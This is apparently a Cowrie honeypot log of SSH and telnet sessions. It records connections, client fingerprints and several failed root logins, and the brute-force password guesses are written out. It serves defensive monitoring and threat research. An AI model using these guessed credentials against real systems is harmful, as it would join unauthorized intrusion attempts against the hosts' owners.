{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:00.007965Z","src_ip":"103.27.238.114","session":"7df4b98bed6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789789789","message":"login attempt [root/789789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:00.822320Z","src_ip":"103.27.238.114","session":"7df4b98bed6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:02.095121Z","src_ip":"103.27.238.114","session":"7df4b98bed6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55738,"dst_ip":"159.203.135.109","dst_port":22,"session":"56e5e47b4ba2","protocol":"ssh","message":"New connection: 185.236.22.41:55738 (159.203.135.109:22) [session: 56e5e47b4ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:06.806808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:06.813624Z","src_ip":"185.236.22.41","session":"56e5e47b4ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:06.936536Z","src_ip":"185.236.22.41","session":"56e5e47b4ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19681968","message":"login attempt [root/19681968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:07.309495Z","src_ip":"185.236.22.41","session":"56e5e47b4ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:08.524661Z","src_ip":"185.236.22.41","session":"56e5e47b4ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.68174386024475,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:11.881283Z","src_ip":"192.119.13.58","session":"acdc289cf98c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33554,"dst_ip":"10.17.0.5","dst_port":23,"session":"8662697ea04d","protocol":"telnet","message":"New connection: 192.119.13.58:33554 (10.17.0.5:23) [session: 8662697ea04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:13.168368Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48406,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b3a3b611f3","protocol":"telnet","message":"New connection: 192.119.13.58:48406 (10.17.0.5:23) [session: 46b3a3b611f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:24.050650Z"}
{"eventid":"cowrie.session.closed","duration":43.91823101043701,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:35.020345Z","src_ip":"192.119.13.58","session":"6af470023b54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.229","src_port":32863,"dst_ip":"159.203.135.109","dst_port":22,"session":"eba800bd3cc9","protocol":"ssh","message":"New connection: 195.96.139.229:32863 (159.203.135.109:22) [session: eba800bd3cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:45.711124Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:47.711553Z","src_ip":"195.96.139.229","session":"eba800bd3cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.229","src_port":52283,"dst_ip":"159.203.135.109","dst_port":22,"session":"e108df28d5f3","protocol":"ssh","message":"New connection: 195.96.139.229:52283 (159.203.135.109:22) [session: e108df28d5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:47.779852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:47.785246Z","src_ip":"195.96.139.229","session":"e108df28d5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:47.856231Z","src_ip":"195.96.139.229","session":"e108df28d5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:47.932133Z","src_ip":"195.96.139.229","session":"e108df28d5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35642,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da2086fd2b7","protocol":"telnet","message":"New connection: 192.119.13.58:35642 (10.17.0.5:23) [session: 1da2086fd2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:49.967640Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52528,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f06fcc32090","protocol":"telnet","message":"New connection: 192.119.13.58:52528 (10.17.0.5:23) [session: 3f06fcc32090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:54.336881Z"}
{"eventid":"cowrie.session.closed","duration":43.54414343833923,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:56.712384Z","src_ip":"192.119.13.58","session":"8662697ea04d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.58414149284363,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:50:59.634641Z","src_ip":"192.119.13.58","session":"46b3a3b611f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f6a1433ac4","protocol":"telnet","message":"New connection: 192.119.13.58:60782 (10.17.0.5:23) [session: d2f6a1433ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:10.640240Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50110,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f18756bd4d","protocol":"telnet","message":"New connection: 192.119.13.58:50110 (10.17.0.5:23) [session: 40f18756bd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:23.251811Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":41224,"dst_ip":"159.203.135.109","dst_port":22,"session":"e679e1b877ce","protocol":"ssh","message":"New connection: 176.32.39.21:41224 (159.203.135.109:22) [session: e679e1b877ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:23.547105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:23.552610Z","src_ip":"176.32.39.21","session":"e679e1b877ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:23.692082Z","src_ip":"176.32.39.21","session":"e679e1b877ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:24.214074Z","src_ip":"176.32.39.21","session":"e679e1b877ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:25.337231Z","src_ip":"176.32.39.21","session":"e679e1b877ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56134,"dst_ip":"10.17.0.5","dst_port":23,"session":"758136a7af62","protocol":"telnet","message":"New connection: 192.119.13.58:56134 (10.17.0.5:23) [session: 758136a7af62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:33.171727Z"}
{"eventid":"cowrie.session.closed","duration":44.332520723342896,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:34.300042Z","src_ip":"192.119.13.58","session":"1da2086fd2b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56029534339905,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:35.897054Z","src_ip":"192.119.13.58","session":"3f06fcc32090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":54604,"dst_ip":"159.203.135.109","dst_port":22,"session":"30bfc3ac59ad","protocol":"ssh","message":"New connection: 103.219.170.37:54604 (159.203.135.109:22) [session: 30bfc3ac59ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:44.240228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:44.244933Z","src_ip":"103.219.170.37","session":"30bfc3ac59ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:44.326917Z","src_ip":"103.219.170.37","session":"30bfc3ac59ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd222","message":"login attempt [root/P@ssw0rd222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:44.580432Z","src_ip":"103.219.170.37","session":"30bfc3ac59ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:45.667589Z","src_ip":"103.219.170.37","session":"30bfc3ac59ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.3369038105011,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:51:53.976980Z","src_ip":"192.119.13.58","session":"d2f6a1433ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34018,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d572130c0d","protocol":"telnet","message":"New connection: 192.119.13.58:34018 (10.17.0.5:23) [session: c7d572130c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:02.830927Z"}
{"eventid":"cowrie.session.closed","duration":0.0060465335845947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:02.836839Z","src_ip":"192.119.13.58","session":"c7d572130c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.06139850616455,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:04.313108Z","src_ip":"192.119.13.58","session":"40f18756bd4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43458,"dst_ip":"10.17.0.5","dst_port":23,"session":"631e3ce8db00","protocol":"telnet","message":"New connection: 192.119.13.58:43458 (10.17.0.5:23) [session: 631e3ce8db00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:05.176001Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54060,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cd29abdd7ed","protocol":"telnet","message":"New connection: 192.119.13.58:54060 (10.17.0.5:23) [session: 0cd29abdd7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:07.891366Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41064,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd0f0872c67","protocol":"telnet","message":"New connection: 192.119.13.58:41064 (10.17.0.5:23) [session: bdd0f0872c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:11.754800Z"}
{"eventid":"cowrie.session.closed","duration":42.65769958496094,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:15.829339Z","src_ip":"192.119.13.58","session":"758136a7af62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":38166,"dst_ip":"159.203.135.109","dst_port":22,"session":"a62a8ab0e875","protocol":"ssh","message":"New connection: 103.195.236.96:38166 (159.203.135.109:22) [session: a62a8ab0e875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:22.001108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:22.009457Z","src_ip":"103.195.236.96","session":"a62a8ab0e875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:22.249162Z","src_ip":"103.195.236.96","session":"a62a8ab0e875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:22.970876Z","src_ip":"103.195.236.96","session":"a62a8ab0e875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:24.213692Z","src_ip":"103.195.236.96","session":"a62a8ab0e875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33898,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3aa4476eb88","protocol":"telnet","message":"New connection: 192.119.13.58:33898 (10.17.0.5:23) [session: f3aa4476eb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:24.369648Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":58092,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca10573a7e7e","protocol":"ssh","message":"New connection: 77.94.47.83:58092 (10.17.0.5:22) [session: ca10573a7e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:36.291557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:52:36.295656Z","src_ip":"77.94.47.83","session":"ca10573a7e7e","protocol":"ssh"}
